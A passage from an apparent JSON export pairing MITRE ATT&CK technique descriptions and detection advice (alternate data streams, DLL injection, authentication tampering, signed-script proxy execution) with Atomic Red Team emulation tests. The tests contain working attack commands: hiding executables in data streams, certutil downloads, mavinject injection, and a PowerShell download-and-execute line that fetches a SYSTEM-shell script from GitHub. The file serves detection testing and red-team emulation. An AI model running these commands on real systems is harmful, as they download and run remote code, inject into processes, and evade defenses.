"https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/", - "description": "Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.", - "source_name": "Oddvar Moe ADS2 Apr 2018" - }, - { - "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore", - "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.", - "source_name": "Symantec ADS May 2009" - } - ], - "modified": "2020-03-29T22:46:56.308Z", - "name": "Hide Artifacts: NTFS File Attributes", - "description": "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Modification", - "Process: OS API Execution", - "File: File Metadata", - "Command: Command Execution" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Host forensic analysis", - "Signature-based detection" - ], - "x_mitre_system_requirements": [ - "NTFS partitioned hard drive" - ], - "identifier": "T1564.004" - }, - "atomic_tests": [ - { - "name": "Alternate Data Streams (ADS)", - "auto_generated_guid": "8822c3b0-d9f9-4daf-a043-49f4602364f4", - "description": "Execute from Alternate Streams\n\n[Reference - 1](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)\n\n[Reference - 2](https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "path": { - "description": "Path of ADS file", - "type": "path", - "default": "c:\\ADS\\" - } - }, - "executor": { - "command": "type C:\\temp\\evil.exe > \"C:\\Program Files (x86)\\TeamViewer\\TeamViewer12_Logfile.log:evil.exe\"\nextrac32 #{path}\\procexp.cab #{path}\\file.txt:procexp.exe\nfindstr /V /L W3AllLov3DonaldTrump #{path}\\procexp.exe > #{path}\\file.txt:procexp.exe\ncertutil.exe -urlcache -split -f https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1564.004/src/test.ps1 c:\\temp:ttt\nmakecab #{path}\\autoruns.exe #{path}\\cabtest.txt:autoruns.cab\nprint /D:#{path}\\file.txt:autoruns.exe #{path}\\Autoruns.exe\nreg export HKLM\\SOFTWARE\\Microsoft\\Evilreg #{path}\\file.txt:evilreg.reg\nregedit /E #{path}\\file.txt:regfile.reg HKEY_CURRENT_USER\\MyCustomRegKey\nexpand \\\\webdav\\folder\\file.bat #{path}\\file.txt:file.bat\nesentutl.exe /y #{path}\\autoruns.exe /d #{path}\\file.txt:autoruns.exe /o \n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Store file in Alternate Data Stream (ADS)", - "auto_generated_guid": "2ab75061-f5d5-4c1a-b666-ba2a50df5b02", - "description": "Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.\nUpon execution cmd will run and attempt to launch desktop.ini. No windows remain open after the test\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "payload_path": { - "description": "Path of file to hide in ADS", - "type": "path", - "default": "c:\\windows\\system32\\cmd.exe" - }, - "ads_file_path": { - "description": "Path of file to create an ADS under", - "type": "path", - "default": "C:\\Users\\Public\\Libraries\\yanki\\desktop.ini" - }, - "ads_name": { - "description": "Name of ADS", - "type": "string", - "default": "desktop.ini" - } - }, - "executor": { - "command": "if (!(Test-Path C:\\Users\\Public\\Libraries\\yanki -PathType Container)) {\n New-Item -ItemType Directory -Force -Path C:\\Users\\Public\\Libraries\\yanki\n }\nStart-Process -FilePath \"$env:comspec\" -ArgumentList \"/c,type,#{payload_path},>,`\"#{ads_file_path}:#{ads_name}`\"\"\n", - "cleanup_command": "Remove-Item \"#{ads_file_path}\" -Force -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Create ADS command prompt", - "auto_generated_guid": "17e7637a-ddaf-4a82-8622-377e20de8fdb", - "description": "Create an Alternate Data Stream with the command prompt. Write access is required. Upon execution, run \"dir /a-d /s /r | find \":$DATA\"\" in the %temp%\nfolder to view that the alternate data stream exists. To view the data in the alternate data stream, run \"notepad T1564.004_has_ads.txt:adstest.txt\"\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_name": { - "description": "File name of file to create ADS on.", - "type": "string", - "default": "%temp%\\T1564.004_has_ads_cmd.txt" - }, - "ads_filename": { - "description": "Name of ADS.", - "type": "string", - "default": "adstest.txt" - } - }, - "executor": { - "command": "echo cmd /c echo \"Shell code execution.\"> #{file_name}:#{ads_filename}\nfor /f \"usebackq delims=?\" %i in (#{file_name}:#{ads_filename}) do %i\n", - "cleanup_command": "del #{file_name} >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Create ADS PowerShell", - "auto_generated_guid": "0045ea16-ed3c-4d4c-a9ee-15e44d1560d1", - "description": "Create an Alternate Data Stream with PowerShell. Write access is required. To verify execution, the the command \"ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname\"\nin the %temp% direcotry to view all files with hidden data streams. To view the data in the alternate data stream, run \"notepad.exe T1564.004_has_ads_powershell.txt:adstest.txt\" in the %temp% folder.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_name": { - "description": "File name of file to create ADS on.", - "type": "string", - "default": "$env:TEMP\\T1564.004_has_ads_powershell.txt" - }, - "ads_filename": { - "description": "Name of ADS file.", - "type": "string", - "default": "adstest.txt" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "The file must exist on disk at specified location (#{file_name})\n", - "prereq_command": "if (Test-Path #{file_name}) { exit 0 } else { exit 1 }\n", - "get_prereq_command": "New-Item -Path #{file_name} | Out-Null\n" - } - ], - "executor": { - "command": "echo \"test\" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value \"test\"\nset-content -path #{file_name} -stream #{ads_filename} -value \"test2\"\nset-content -path . -stream #{ads_filename} -value \"test3\"\n", - "cleanup_command": "Remove-Item -Path #{file_name} -ErrorAction Ignore\n", - "name": "powershell" - } - } - ] - }, - "T1096": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Red Canary", - "Oddvar Moe, @oddvarmoe" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d", - "type": "attack-pattern", - "created": "2017-05-31T21:31:11.147Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1096", - "url": "https://attack.mitre.org/techniques/T1096" - }, - { - "url": "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea", - "description": "Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.", - "source_name": "SpectorOps Host-Based Jul 2017" - }, - { - "url": "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/", - "description": "Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.", - "source_name": "Microsoft NTFS File Attributes Aug 2010" - }, - { - "url": "http://msdn.microsoft.com/en-us/library/aa364404", - "description": "Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.", - "source_name": "Microsoft File Streams" - }, - { - "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/", - "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.", - "source_name": "MalwareBytes ADS July 2015" - }, - { - "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/", - "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.", - "source_name": "Microsoft ADS Mar 2014" - }, - { - "url": "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html", - "description": "Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.", - "source_name": "Journey into IR ZeroAccess NTFS EA" - }, - { - "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/", - "description": "Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.", - "source_name": "Oddvar Moe ADS1 Jan 2018" - }, - { - "url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/", - "description": "Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.", - "source_name": "Oddvar Moe ADS2 Apr 2018" - }, - { - "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore", - "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.", - "source_name": "Symantec ADS May 2009" - } - ], - "modified": "2020-03-13T21:04:13.284Z", - "name": "NTFS File Attributes", - "description": "Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Signature-based detection", - "Host forensic analysis", - "Anti-virus" - ], - "x_mitre_system_requirements": [ - "NTFS partitioned hard drive" - ] - }, - "atomic_tests": [] - }, - "T1055.001": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", - "type": "attack-pattern", - "created": "2020-01-14T01:26:08.145Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.001", - "url": "https://attack.mitre.org/techniques/T1055/001" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/hunting-memory", - "description": "Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.", - "source_name": "Elastic HuntingNMemory June 2017" - } - ], - "modified": "2021-10-18T12:20:00.382Z", - "name": "Process Injection: Dynamic-link Library Injection", - "description": "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Access", - "Process: OS API Execution", - "Module: Module Load", - "Process: Process Modification" - ], - "x_mitre_defense_bypassed": [ - "Application control", - "Anti-virus" - ], - "x_mitre_permissions_required": [ - "User" - ], - "identifier": "T1055.001" - }, - "atomic_tests": [ - { - "name": "Process Injection via mavinject.exe", - "auto_generated_guid": "74496461-11a1-4982-b439-4d87a550d254", - "description": "Windows 10 Utility To Inject DLLS.\n\nUpon successful execution, powershell.exe will download T1055.dll to disk. Powershell will then spawn mavinject.exe to perform process injection in T1055.dll.\nWith default arguments, expect to see a MessageBox, with notepad's icon in taskbar.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "process_id": { - "description": "PID of input_arguments", - "type": "integer", - "default": "(Start-Process notepad -PassThru).id" - }, - "dll_payload": { - "description": "DLL to Inject", - "type": "path", - "default": "PathToAtomicsFolder\\T1055.001\\src\\x64\\T1055.001.dll" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Utility to inject must exist on disk at specified location (#{dll_payload})\n", - "prereq_command": "if (Test-Path #{dll_payload}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.001/src/x64/T1055.001.dll\" -OutFile \"#{dll_payload}\"\n" - } - ], - "executor": { - "command": "$mypid = #{process_id}\nmavinject $mypid /INJECTRUNNING #{dll_payload}\nStop-Process -processname notepad\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "WinPwn - Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique", - "auto_generated_guid": "8b56f787-73d9-4f1d-87e8-d07e89cbc7f5", - "description": "Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique via function of WinPwn", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/UsoDLL/Get-UsoClientDLLSystem.ps1')", - "name": "powershell" - } - } - ] - }, - "T1556": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "Linux", - "macOS", - "Network" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Chris Ross @xorrior" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", - "type": "attack-pattern", - "created": "2020-02-11T19:01:56.887Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1556", - "url": "https://attack.mitre.org/techniques/T1556" - }, - { - "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/", - "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.", - "source_name": "Clymb3r Function Hook Passwords Sept 2013" - }, - { - "source_name": "Dell Skeleton", - "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.", - "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis" - }, - { - "source_name": "Xorrior Authorization Plugins", - "url": "https://xorrior.com/persistent-credential-theft/", - "description": "Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021." - }, - { - "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx", - "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", - "source_name": "TechNet Audit Policy" - }, - { - "source_name": "dump_pwd_dcsync", - "url": "https://adsecurity.org/?p=2053", - "description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021." - } - ], - "modified": "2022-02-10T22:26:33.374Z", - "name": "Modify Authentication Process", - "description": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "credential-access" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files reference. \n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nMonitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The Store passwords using reversible encryption configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of -AllowReversiblePasswordEncryption $true, Set-ADUser and Set-ADAccountControl. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\n", - "x_mitre_version": "2.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Modification", - "Logon Session: Logon Session Creation", - "File: File Creation", - "Process: OS API Execution", - "Process: Process Access", - "Windows Registry: Windows Registry Key Modification", - "Module: Module Load" - ] - }, - "atomic_tests": [] - }, - "T1216": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Praetorian", - "Wes Hurd" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe", - "created": "2018-04-18T17:59:24.739Z", - "x_mitre_version": "2.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1216", - "url": "https://attack.mitre.org/techniques/T1216" - }, - { - "source_name": "GitHub Ultimate AppLocker Bypass List", - "url": "https://github.com/api0cradle/UltimateAppLockerByPassList", - "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018." - }, - { - "source_name": "LOLBAS Project", - "url": "https://github.com/LOLBAS-Project/LOLBAS#criteria", - "description": "Oddvar Moe et al. (2022, February). Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)", - "modified": "2022-04-18T14:43:46.045Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Signed Script Proxy Execution", - "x_mitre_detection": "Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Command: Command Execution", - "Process: Process Creation", - "Script: Script Execution" - ], - "x_mitre_defense_bypassed": [ - "Application control", - "Digital Certificate Validation" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1216" - }, - "atomic_tests": [ - { - "name": "SyncAppvPublishingServer Signed Script PowerShell Command Execution", - "auto_generated_guid": "275d963d-3f36-476c-8bef-a2a3960ee6eb", - "description": "Executes the signed SyncAppvPublishingServer script with options to execute an arbitrary PowerShell command.\nUpon execution, calc.exe will be launched.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "command_to_execute": { - "description": "A PowerShell command to execute.", - "type": "string", - "default": "Start-Process calc" - } - }, - "executor": { - "command": "C:\\windows\\system32\\SyncAppvPublishingServer.vbs \"\\n;#{command_to_execute}\"\n", - "name": "command_prompt" - } - }, - { - "name": "manage-bde.wsf Signed Script Command Execution", - "auto_generated_guid": "2a8f2d3c-3dec-4262-99dd-150cb2a4d63a", - "description": "Executes the signed manage-bde.wsf script with options to execute an arbitrary command.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "command_to_execute": { - "description": "A command to execute.", - "type": "path", - "default": "%windir%\\System32\\calc.exe" - } - }, - "executor": { - "command": "set comspec=#{command_to_execute}\ncscript %windir%\\System32\\manage-bde.wsf\n", - "cleanup_command": "set comspec=%windir%\\System32\\cmd.exe\n", - "name": "command_prompt" - } - } - ] - }, - "T1118": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Casey Smith", - "Travis Smith, Tripwire" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b", - "type": "attack-pattern", - "created": "2017-05-31T21:31:27.510Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "external_id": "T1118", - "url": "https://attack.mitre.org/techniques/T1118", - "source_name": "mitre-attack" - }, - { - "source_name": "MSDN InstallUtil", - "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.", - "url": "https://msdn.microsoft.com/en-us/library/50614e95.aspx" - }, - { - "source_name": "LOLBAS Installutil", - "url": "https://lolbas-project.github.io/lolbas/Binaries/Installutil/", - "description": "LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019." - } - ], - "modified": "2020-01-31T18:59:38.256Z", - "name": "InstallUtil", - "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)", - "kill_chain_phases": [ - { - "phase_name": "defense-evasion", - "kill_chain_name": "mitre-attack" - }, - { - "phase_name": "execution", - "kill_chain_name": "mitre-attack" - } - ], - "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.", - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Process whitelisting", - "Digital Certificate Validation" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1556.004": { - "technique": { - "x_mitre_platforms": [ - "Network" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd", - "type": 